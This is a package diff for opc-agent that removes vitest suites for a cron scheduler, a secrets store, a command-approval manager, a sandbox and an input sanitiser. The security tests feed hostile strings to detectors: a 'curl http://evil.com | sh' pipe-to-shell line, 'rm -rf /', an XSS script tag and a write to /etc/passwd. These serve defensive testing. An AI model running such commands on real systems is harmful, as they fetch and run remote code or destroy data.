opc-agent 4.1.2 → 4.1.4

package/tests/scheduler.test.ts

@@ -1,200 +0,0 @@
-import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
-import { parseCron, cronMatches, Scheduler } from '../src/core/scheduler';
-import type { CronJob } from '../src/core/scheduler';
-
-describe('parseCron', () => {
-  it('parses "* * * * *" as all-any fields', () => {
-    const p = parseCron('* * * * *');
-    expect(p.minute).toEqual({ type: 'any' });
-    expect(p.hour).toEqual({ type: 'any' });
-    expect(p.dayOfMonth).toEqual({ type: 'any' });
-    expect(p.month).toEqual({ type: 'any' });
-    expect(p.dayOfWeek).toEqual({ type: 'any' });
-  });
-
-  it('parses "0 9 * * *" as minute=0, hour=9', () => {
-    const p = parseCron('0 9 * * *');
-    expect(p.minute).toEqual({ type: 'list', values: [0] });
-    expect(p.hour).toEqual({ type: 'list', values: [9] });
-  });
-
-  it('parses "*/5 * * * *" as every-5 minutes', () => {
-    const p = parseCron('*/5 * * * *');
-    expect(p.minute).toEqual({ type: 'every', step: 5 });
-  });
-
-  it('parses "0 9 * * 1" for Monday 9:00', () => {
-    const p = parseCron('0 9 * * 1');
-    expect(p.dayOfWeek).toEqual({ type: 'list', values: [1] });
-  });
-
-  it('parses "0 9-17 * * *" as hour range 9-17', () => {
-    const p = parseCron('0 9-17 * * *');
-    expect(p.hour).toEqual({ type: 'list', values: [9, 10, 11, 12, 13, 14, 15, 16, 17] });
-  });
-
-  it('parses "0 9,12,18 * * *" as specific hours', () => {
-    const p = parseCron('0 9,12,18 * * *');
-    expect(p.hour).toEqual({ type: 'list', values: [9, 12, 18] });
-  });
-
-  it('throws on invalid cron expression with wrong field count', () => {
-    expect(() => parseCron('* * *')).toThrow('Invalid cron expression');
-  });
-
-  it('throws on invalid step value', () => {
-    expect(() => parseCron('*/abc * * * *')).toThrow();
-  });
-
-  it('throws on invalid range', () => {
-    expect(() => parseCron('a-b * * * *')).toThrow();
-  });
-
-  it('parses "30 */2 * * *" correctly', () => {
-    const p = parseCron('30 */2 * * *');
-    expect(p.minute).toEqual({ type: 'list', values: [30] });
-    expect(p.hour).toEqual({ type: 'every', step: 2 });
-  });
-});
-
-describe('cronMatches', () => {
-  it('"* * * * *" matches any date', () => {
-    const p = parseCron('* * * * *');
-    expect(cronMatches(p, new Date('2026-04-18T10:30:00'))).toBe(true);
-  });
-
-  it('"0 9 * * *" matches 9:00 but not 10:00', () => {
-    const p = parseCron('0 9 * * *');
-    expect(cronMatches(p, new Date('2026-04-18T09:00:00'))).toBe(true);
-    expect(cronMatches(p, new Date('2026-04-18T10:00:00'))).toBe(false);
-    expect(cronMatches(p, new Date('2026-04-18T09:05:00'))).toBe(false);
-  });
-
-  it('"*/5 * * * *" matches minutes divisible by 5', () => {
-    const p = parseCron('*/5 * * * *');
-    expect(cronMatches(p, new Date('2026-04-18T10:00:00'))).toBe(true);
-    expect(cronMatches(p, new Date('2026-04-18T10:05:00'))).toBe(true);
-    expect(cronMatches(p, new Date('2026-04-18T10:03:00'))).toBe(false);
-  });
-
-  it('"0 9 * * 1" matches Monday 9:00 only', () => {
-    const p = parseCron('0 9 * * 1');
-    // 2026-04-20 is Monday
-    expect(cronMatches(p, new Date('2026-04-20T09:00:00'))).toBe(true);
-    // 2026-04-18 is Saturday
-    expect(cronMatches(p, new Date('2026-04-18T09:00:00'))).toBe(false);
-  });
-
-  it('"0 9-17 * * *" matches hours 9 through 17', () => {
-    const p = parseCron('0 9-17 * * *');
-    expect(cronMatches(p, new Date('2026-04-18T09:00:00'))).toBe(true);
-    expect(cronMatches(p, new Date('2026-04-18T17:00:00'))).toBe(true);
-    expect(cronMatches(p, new Date('2026-04-18T08:00:00'))).toBe(false);
-    expect(cronMatches(p, new Date('2026-04-18T18:00:00'))).toBe(false);
-  });
-});
-
-describe('Scheduler', () => {
-  let scheduler: Scheduler;
-  let handler: ReturnType<typeof vi.fn>;
-
-  beforeEach(() => {
-    vi.useFakeTimers();
-    handler = vi.fn();
-    scheduler = new Scheduler(handler);
-  });
-
-  afterEach(() => {
-    scheduler.stop();
-    vi.useRealTimers();
-  });
-
-  const makeJob = (id: string, schedule = '* * * * *', enabled = true): CronJob => ({
-    id, name: `job-${id}`, schedule, task: `task-${id}`, enabled,
-  });
-
-  it('addJob adds a job retrievable by getJobs', () => {
-    scheduler.addJob(makeJob('j1'));
-    expect(scheduler.getJobs()).toHaveLength(1);
-    expect(scheduler.getJobs()[0].id).toBe('j1');
-  });
-
-  it('removeJob removes a job', () => {
-    scheduler.addJob(makeJob('j1'));
-    scheduler.removeJob('j1');
-    expect(scheduler.getJobs()).toHaveLength(0);
-  });
-
-  it('enableJob / disableJob toggles enabled', () => {
-    scheduler.addJob(makeJob('j1', '* * * * *', false));
-    expect(scheduler.getJob('j1')!.enabled).toBe(false);
-    scheduler.enableJob('j1');
-    expect(scheduler.getJob('j1')!.enabled).toBe(true);
-    scheduler.disableJob('j1');
-    expect(scheduler.getJob('j1')!.enabled).toBe(false);
-  });
-
-  it('getJobs returns all jobs', () => {
-    scheduler.addJob(makeJob('j1'));
-    scheduler.addJob(makeJob('j2'));
-    scheduler.addJob(makeJob('j3'));
-    expect(scheduler.getJobs()).toHaveLength(3);
-  });
-
-  it('start begins ticking (handler called on matching cron)', () => {
-    vi.setSystemTime(new Date('2026-04-18T10:00:00'));
-    scheduler.addJob(makeJob('j1', '* * * * *'));
-    scheduler.start();
-    // tick() called immediately on start
-    expect(handler).toHaveBeenCalledTimes(1);
-  });
-
-  it('stop stops ticking', () => {
-    vi.setSystemTime(new Date('2026-04-18T10:00:00'));
-    scheduler.addJob(makeJob('j1', '* * * * *'));
-    scheduler.start();
-    handler.mockClear();
-    scheduler.stop();
-    vi.advanceTimersByTime(120_000);
-    expect(handler).not.toHaveBeenCalled();
-  });
-
-  it('disabled job is not fired', () => {
-    vi.setSystemTime(new Date('2026-04-18T10:00:00'));
-    scheduler.addJob(makeJob('j1', '* * * * *', false));
-    scheduler.start();
-    expect(handler).not.toHaveBeenCalled();
-  });
-
-  it('double-fire prevention within same minute', () => {
-    vi.setSystemTime(new Date('2026-04-18T10:00:00'));
-    scheduler.addJob(makeJob('j1', '* * * * *'));
-    scheduler.start();
-    expect(handler).toHaveBeenCalledTimes(1);
-    // Advance 30 seconds (still same minute), force another tick
-    vi.advanceTimersByTime(30_000);
-    // No additional call because same minute
-    expect(handler).toHaveBeenCalledTimes(1);
-  });
-
-  it('job fires again in next minute', () => {
-    vi.setSystemTime(new Date('2026-04-18T10:00:00'));
-    scheduler.addJob(makeJob('j1', '* * * * *'));
-    scheduler.start();
-    expect(handler).toHaveBeenCalledTimes(1);
-    vi.advanceTimersByTime(60_000);
-    expect(handler).toHaveBeenCalledTimes(2);
-  });
-
-  it('runJob fires handler immediately', async () => {
-    scheduler.addJob(makeJob('j1', '0 0 1 1 *')); // rare schedule
-    const result = await scheduler.runJob('j1');
-    expect(result).toBe(true);
-    expect(handler).toHaveBeenCalledTimes(1);
-  });
-
-  it('runJob returns false for unknown job', async () => {
-    const result = await scheduler.runJob('nonexistent');
-    expect(result).toBe(false);
-  });
-});

package/tests/secrets.test.ts

@@ -1,107 +0,0 @@
-import { describe, it, expect, afterEach } from 'vitest';
-import { SecretsManager } from '../src/security/secrets';
-import { existsSync, unlinkSync, mkdirSync } from 'fs';
-import { join } from 'path';
-import { tmpdir } from 'os';
-
-const testDir = join(tmpdir(), 'opc-secrets-test-' + Date.now());
-let counter = 0;
-function testPath() { return join(testDir, `secrets-${++counter}.enc`); }
-
-afterEach(() => {
-  // cleanup
-});
-
-describe('SecretsManager', () => {
-  it('should create new store and set/get secrets', () => {
-    const fp = testPath();
-    const mgr = new SecretsManager({ password: 'test123', filePath: fp });
-    mgr.set('API_KEY', 'sk-abc123');
-    expect(mgr.get('API_KEY')).toBe('sk-abc123');
-    expect(existsSync(fp)).toBe(true);
-  });
-
-  it('should persist and reload secrets', () => {
-    const fp = testPath();
-    const mgr1 = new SecretsManager({ password: 'pw', filePath: fp });
-    mgr1.set('TOKEN', 'xyz');
-    const mgr2 = new SecretsManager({ password: 'pw', filePath: fp });
-    expect(mgr2.get('TOKEN')).toBe('xyz');
-  });
-
-  it('should fail with wrong password', () => {
-    const fp = testPath();
-    const mgr = new SecretsManager({ password: 'right', filePath: fp });
-    mgr.set('KEY', 'val');
-    expect(() => new SecretsManager({ password: 'wrong', filePath: fp })).toThrow();
-  });
-
-  it('should delete secrets', () => {
-    const fp = testPath();
-    const mgr = new SecretsManager({ password: 'pw', filePath: fp });
-    mgr.set('A', '1');
-    expect(mgr.delete('A')).toBe(true);
-    expect(mgr.get('A')).toBeUndefined();
-    expect(mgr.delete('nonexistent')).toBe(false);
-  });
-
-  it('should list secret keys', () => {
-    const fp = testPath();
-    const mgr = new SecretsManager({ password: 'pw', filePath: fp });
-    mgr.set('A', '1');
-    mgr.set('B', '2');
-    expect(mgr.list().sort()).toEqual(['A', 'B']);
-  });
-
-  it('should check has', () => {
-    const fp = testPath();
-    const mgr = new SecretsManager({ password: 'pw', filePath: fp });
-    mgr.set('X', 'y');
-    expect(mgr.has('X')).toBe(true);
-    expect(mgr.has('Z')).toBe(false);
-  });
-
-  it('should inject secrets into env object', () => {
-    const fp = testPath();
-    const mgr = new SecretsManager({ password: 'pw', filePath: fp });
-    mgr.set('DB_HOST', 'localhost');
-    mgr.set('DB_PASS', 'secret');
-    const env: Record<string, string | undefined> = { PATH: '/usr/bin' };
-    mgr.inject(env, ['DB_HOST']);
-    expect(env.DB_HOST).toBe('localhost');
-    expect(env.DB_PASS).toBeUndefined();
-  });
-
-  it('should inject all secrets when no keys specified', () => {
-    const fp = testPath();
-    const mgr = new SecretsManager({ password: 'pw', filePath: fp });
-    mgr.set('A', '1');
-    mgr.set('B', '2');
-    const env: Record<string, string | undefined> = {};
-    mgr.inject(env);
-    expect(env.A).toBe('1');
-    expect(env.B).toBe('2');
-  });
-
-  it('should rotate password', () => {
-    const fp = testPath();
-    const mgr = new SecretsManager({ password: 'old', filePath: fp });
-    mgr.set('KEY', 'value');
-    mgr.rotate('new');
-    // Old password should fail
-    expect(() => new SecretsManager({ password: 'old', filePath: fp })).toThrow();
-    // New password should work
-    const mgr2 = new SecretsManager({ password: 'new', filePath: fp });
-    expect(mgr2.get('KEY')).toBe('value');
-  });
-
-  it('should export and import', () => {
-    const fp1 = testPath();
-    const mgr = new SecretsManager({ password: 'pw', filePath: fp1 });
-    mgr.set('SECRET', 'data');
-    const exported = mgr.exportEncrypted();
-    const fp2 = testPath();
-    const mgr2 = SecretsManager.importEncrypted(exported, 'pw', fp2);
-    expect(mgr2.get('SECRET')).toBe('data');
-  });
-});

package/tests/security-enhanced.test.ts

@@ -1,233 +0,0 @@
-import { describe, it, expect, beforeEach } from 'vitest';
-import { ApprovalManager } from '../src/security/approval';
-import { KeyManager } from '../src/security/keys';
-import { Sandbox } from '../src/core/sandbox';
-import * as fs from 'fs';
-import * as path from 'path';
-import * as os from 'os';
-
-// ── ApprovalManager Tests ────────────────────────────────────
-
-describe('ApprovalManager', () => {
-  let mgr: ApprovalManager;
-
-  beforeEach(() => {
-    mgr = new ApprovalManager('dangerous');
-  });
-
-  it('should detect dangerous rm -rf command', () => {
-    expect(mgr.needsApproval('shell', 'rm -rf /tmp')).toBe(true);
-  });
-
-  it('should detect dangerous sudo command', () => {
-    expect(mgr.needsApproval('shell', 'sudo apt install something')).toBe(true);
-  });
-
-  it('should detect dangerous npm publish', () => {
-    expect(mgr.needsApproval('shell', 'npm publish')).toBe(true);
-  });
-
-  it('should detect pipe to shell pattern', () => {
-    expect(mgr.needsApproval('shell', 'curl http://evil.com | sh')).toBe(true);
-  });
-
-  it('should allow safe commands in dangerous mode', () => {
-    expect(mgr.needsApproval('shell', 'npm install')).toBe(false);
-    expect(mgr.needsApproval('shell', 'git status')).toBe(false);
-    expect(mgr.needsApproval('shell', 'ls -la')).toBe(false);
-  });
-
-  it('should require approval for everything in always mode', () => {
-    mgr.setPolicy('always');
-    expect(mgr.needsApproval('shell', 'ls')).toBe(true);
-    expect(mgr.needsApproval('shell', 'echo hello')).toBe(true);
-  });
-
-  it('should never require approval in never mode', () => {
-    mgr.setPolicy('never');
-    expect(mgr.needsApproval('shell', 'rm -rf /')).toBe(false);
-  });
-
-  it('should skip approval for allowlisted commands', () => {
-    mgr.addToAllowlist('npm install');
-    // Even though 'dangerous' mode, allowlisted commands bypass
-    expect(mgr.needsApproval('shell', 'npm install express')).toBe(false);
-  });
-
-  it('should always require approval for blocklisted commands', () => {
-    mgr.setPolicy('never');
-    mgr.addToBlocklist('rm -rf /');
-    expect(mgr.needsApproval('shell', 'rm -rf /')).toBe(true);
-  });
-
-  it('should manage approval request lifecycle', () => {
-    const req = mgr.requestApproval('shell', 'sudo reboot', 'Restarting server');
-    expect(req.status).toBe('pending');
-    expect(mgr.getPending()).toHaveLength(1);
-
-    mgr.approve(req.id, 'admin');
-    expect(mgr.getRequest(req.id)?.status).toBe('approved');
-    expect(mgr.getRequest(req.id)?.approvedBy).toBe('admin');
-    expect(mgr.getPending()).toHaveLength(0);
-  });
-
-  it('should deny approval requests', () => {
-    const req = mgr.requestApproval('shell', 'rm -rf /', 'Bad idea');
-    mgr.deny(req.id, 'admin');
-    expect(mgr.getRequest(req.id)?.status).toBe('denied');
-  });
-
-  it('should throw on double approve', () => {
-    const req = mgr.requestApproval('shell', 'test', 'test');
-    mgr.approve(req.id, 'admin');
-    expect(() => mgr.approve(req.id, 'admin')).toThrow();
-  });
-
-  it('should manage allowlist/blocklist', () => {
-    mgr.addToAllowlist('npm test');
-    mgr.addToBlocklist('danger');
-    expect(mgr.getAllowlist()).toContain('npm test');
-    expect(mgr.getBlocklist()).toContain('danger');
-    mgr.removeFromAllowlist('npm test');
-    expect(mgr.getAllowlist()).not.toContain('npm test');
-  });
-});
-
-// ── KeyManager Tests ─────────────────────────────────────────
-
-describe('KeyManager', () => {
-  const tmpDir = path.join(os.tmpdir(), 'opc-test-keys-' + Date.now());
-  const keyFile = path.join(tmpDir, 'keys.json');
-
-  it('should set and get a key', () => {
-    const km = new KeyManager(keyFile);
-    km.set('OPENAI_KEY', 'sk-test-123');
-    expect(km.get('OPENAI_KEY')).toBe('sk-test-123');
-  });
-
-  it('should persist keys across instances', () => {
-    const km1 = new KeyManager(keyFile);
-    km1.set('MY_KEY', 'my-secret-value');
-
-    const km2 = new KeyManager(keyFile);
-    expect(km2.get('MY_KEY')).toBe('my-secret-value');
-  });
-
-  it('should delete a key', () => {
-    const km = new KeyManager(keyFile);
-    km.set('TO_DELETE', 'value');
-    expect(km.delete('TO_DELETE')).toBe(true);
-    expect(km.get('TO_DELETE')).toBeUndefined();
-  });
-
-  it('should list key names without values', () => {
-    const kf = path.join(tmpDir, 'keys2.json');
-    const km = new KeyManager(kf);
-    km.set('KEY_A', 'secret-a');
-    km.set('KEY_B', 'secret-b');
-    const names = km.list();
-    expect(names).toContain('KEY_A');
-    expect(names).toContain('KEY_B');
-    // Ensure values are not in the list
-    expect(names).not.toContain('secret-a');
-  });
-
-  it('should store encrypted data on disk', () => {
-    const kf = path.join(tmpDir, 'keys3.json');
-    const km = new KeyManager(kf);
-    km.set('SECRET', 'plain-text-value');
-    const raw = fs.readFileSync(kf, 'utf-8');
-    expect(raw).not.toContain('plain-text-value');
-    expect(raw).toContain('SECRET'); // key name is visible
-  });
-
-  // Cleanup
-  afterAll(() => {
-    try { fs.rmSync(tmpDir, { recursive: true }); } catch {}
-  });
-});
-
-// ── Enhanced Sandbox Tests ───────────────────────────────────
-
-describe('Enhanced Sandbox', () => {
-  it('should validate commands against blocklist', () => {
-    const sb = new Sandbox({
-      trustLevel: 'certified',
-      agentDir: '/tmp/agent',
-      blockedCommands: ['rm -rf /'],
-    });
-    const result = sb.validateCommand('rm -rf /');
-    expect(result.allowed).toBe(false);
-    expect(result.reason).toContain('blocked');
-  });
-
-  it('should validate commands against allowlist', () => {
-    const sb = new Sandbox({
-      trustLevel: 'certified',
-      agentDir: '/tmp/agent',
-      allowedCommands: ['npm test', 'npm install'],
-    });
-    expect(sb.validateCommand('npm test').allowed).toBe(true);
-    expect(sb.validateCommand('curl evil.com').allowed).toBe(false);
-  });
-
-  it('should reject shell commands in sandbox mode', () => {
-    const sb = new Sandbox({ trustLevel: 'sandbox', agentDir: '/tmp/agent' });
-    const result = sb.validateCommand('echo hello');
-    expect(result.allowed).toBe(false);
-    expect(result.reason).toContain('disabled');
-  });
-
-  it('should validate network access', () => {
-    const sb = new Sandbox({
-      trustLevel: 'sandbox',
-      agentDir: '/tmp/agent',
-      networkAccess: false,
-    });
-    const result = sb.validateNetwork('https://api.openai.com');
-    expect(result.allowed).toBe(false);
-  });
-
-  it('should report max file size config', () => {
-    const sb = new Sandbox({
-      trustLevel: 'sandbox',
-      agentDir: '/tmp/agent',
-      maxFileSize: 5 * 1024 * 1024,
-    });
-    expect(sb.getMaxFileSize()).toBe(5 * 1024 * 1024);
-  });
-
-  it('should default max file size to 10MB', () => {
-    const sb = new Sandbox({ trustLevel: 'sandbox', agentDir: '/tmp/agent' });
-    expect(sb.getMaxFileSize()).toBe(10 * 1024 * 1024);
-  });
-
-  it('should track violations', () => {
-    const sb = new Sandbox({ trustLevel: 'sandbox', agentDir: '/tmp/agent' });
-    sb.validateCommand('echo hello'); // denied — shell disabled
-    sb.validateCommand('ls');         // denied
-    expect(sb.getViolations()).toBe(2);
-  });
-
-  it('should reject writes to read-only paths', () => {
-    const sb = new Sandbox({
-      trustLevel: 'listed',
-      agentDir: '/tmp/agent',
-      readOnlyPaths: ['/etc'],
-    });
-    const result = sb.validateFileOp('write', '/etc/passwd');
-    expect(result.allowed).toBe(false);
-    expect(result.reason).toContain('read-only');
-  });
-
-  it('should return sandbox status', () => {
-    const tmpDir = path.join(os.tmpdir(), 'opc-sandbox-test-' + Date.now());
-    fs.mkdirSync(tmpDir, { recursive: true });
-    fs.writeFileSync(path.join(tmpDir, 'test.txt'), 'hello');
-    const sb = new Sandbox({ trustLevel: 'sandbox', agentDir: tmpDir });
-    const status = sb.getStatus();
-    expect(status.files).toBeGreaterThanOrEqual(1);
-    expect(status.totalSize).toBeGreaterThan(0);
-    fs.rmSync(tmpDir, { recursive: true });
-  });
-});

package/tests/security.test.ts

@@ -1,60 +0,0 @@
-import { describe, it, expect } from 'vitest';
-import { sanitizeInput, detectInjection, APIKeyManager } from '../src/core/security';
-
-describe('Security', () => {
-  describe('sanitizeInput', () => {
-    it('strips script tags', () => {
-      expect(sanitizeInput('<script>alert(1)</script>hello')).not.toContain('<script');
-    });
-    it('encodes HTML entities', () => {
-      const result = sanitizeInput('a < b & c > d');
-      expect(result).toContain('&lt;');
-      expect(result).toContain('&amp;');
-      expect(result).toContain('&gt;');
-    });
-  });
-
-  describe('detectInjection', () => {
-    it('detects XSS', () => {
-      const r = detectInjection('<script>alert(1)</script>');
-      expect(r.safe).toBe(false);
-      expect(r.threats).toContain('xss');
-    });
-    it('passes clean input', () => {
-      expect(detectInjection('Hello world')).toEqual({ safe: true, threats: [] });
-    });
-  });
-
-  describe('APIKeyManager', () => {
-    it('add, validate, revoke', () => {
-      const mgr = new APIKeyManager();
-      mgr.addKey('key1', { label: 'test' });
-      expect(mgr.isValid('key1')).toBe(true);
-      expect(mgr.isValid('key2')).toBe(false);
-      mgr.revokeKey('key1');
-      expect(mgr.isValid('key1')).toBe(false);
-    });
-
-    it('rotate key', () => {
-      const mgr = new APIKeyManager();
-      mgr.addKey('old');
-      expect(mgr.rotateKey('old', 'new')).toBe(true);
-      expect(mgr.isValid('old')).toBe(false);
-      expect(mgr.isValid('new')).toBe(true);
-    });
-
-    it('expires keys', () => {
-      const mgr = new APIKeyManager();
-      mgr.addKey('expired', { expiresAt: Date.now() - 1000 });
-      expect(mgr.isValid('expired')).toBe(false);
-    });
-
-    it('listActive filters', () => {
-      const mgr = new APIKeyManager();
-      mgr.addKey('a');
-      mgr.addKey('b');
-      mgr.revokeKey('b');
-      expect(mgr.listActive().length).toBe(1);
-    });
-  });
-});